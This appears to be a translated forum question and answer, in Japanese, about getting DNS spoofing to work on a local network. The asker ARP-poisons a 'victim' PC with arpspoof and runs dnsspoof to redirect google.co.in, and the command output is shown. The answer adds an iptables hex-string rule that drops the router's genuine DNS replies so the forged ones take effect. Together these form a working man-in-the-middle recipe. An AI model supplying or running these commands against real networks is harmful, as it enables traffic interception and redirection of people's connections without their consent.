私の目的はDNSspoofです。
私のネットワークはアドレス192.168.1.1のワイヤレスルーターを使用しており、プライマリDNSはルーターアドレスと同じです。
LinuxでカーネルIPフォワードを有効にしました。
DNSホストファイルはspoofhosts.txtです
173.252.74.22 google.co.in
私の犠牲PCは192.168.1.224です
私はARPspoofを使用しました
#Sudo arpspoof -t 192.168.1.224 192.168.1.1 -i wlan0
#Sudo arpspoof -t 192.168.1.1 192.168.1.224 -i wlan0
dNSspoofを実行しました
ashok@c:~$ Sudo dnsspoof -f spoofhosts.txt -i wlan0 Host 192.168.1.224 and udp port 53
[Sudo] password for ashok:
dnsspoof: listening on wlan0 [Host 192.168.1.224 and udp port 53]
192.168.1.224.15703 > 192.168.1.1.53: 32219+ A? google.co.in
192.168.1.224.15703 > 192.168.1.1.53: 32219+ A? google.co.in
192.168.1.224.14489 > 192.168.1.1.53: 3788+ A? google.co.in
192.168.1.224.14489 > 192.168.1.1.53: 3788+ A? google.co.in
上記の応答を得ていますが、DNSspoofingは被害者のために機能していません。
ただし、Wiresharkで被害者のシステムを観察しました。 DNS応答がルーターからの応答が自分よりも速いことを確認したため、この情報が得られます。
有効なGoogle IPを使用してルーターから直接応答を返す2行目を参照してください。
これを解決するには?これはDNSspoofコマンドの問題ですか?何が起こった?
ついにできた!
DnsspoofはDNSパケットを変更できません。偽のアドレスを持つ別の準備されたパケットのみを送信できます。しかし、実際のパケットは最初に被害者に届き、被害者のコンピュータはそれだけを考慮に入れます。
問題の解決は、実際のパケットをブロックすることです。 16進数の特定のアドレスでiptablesを使用してこれを作成しました。
# iptables --append FORWARD --match string --algo kmp --hex-string '|e1 e0 68 2d|' --jump DROP
正しい方法でサーバーに接続すると、Wiresharkまたは別のスニファーで16進数でWebサイトのターゲットIPを見つけることができます。
私はこれが最良の方法ではないことを知っていますが、うまくいきます:)
DNSスプーフィングを試みる前に、関連するすべてのクライアントのDNSキャッシュをフラッシュしてみてください。
Windowsの場合は、ターミナルを次のタイプで開きます:ipconfig /flushdns
Linuxでは、ターミナルを開いて次のように入力します:Sudo /etc/init.d/nscd restart
Mac OS X端末を開いて次のように入力します:Sudo dscacheutil -flushcache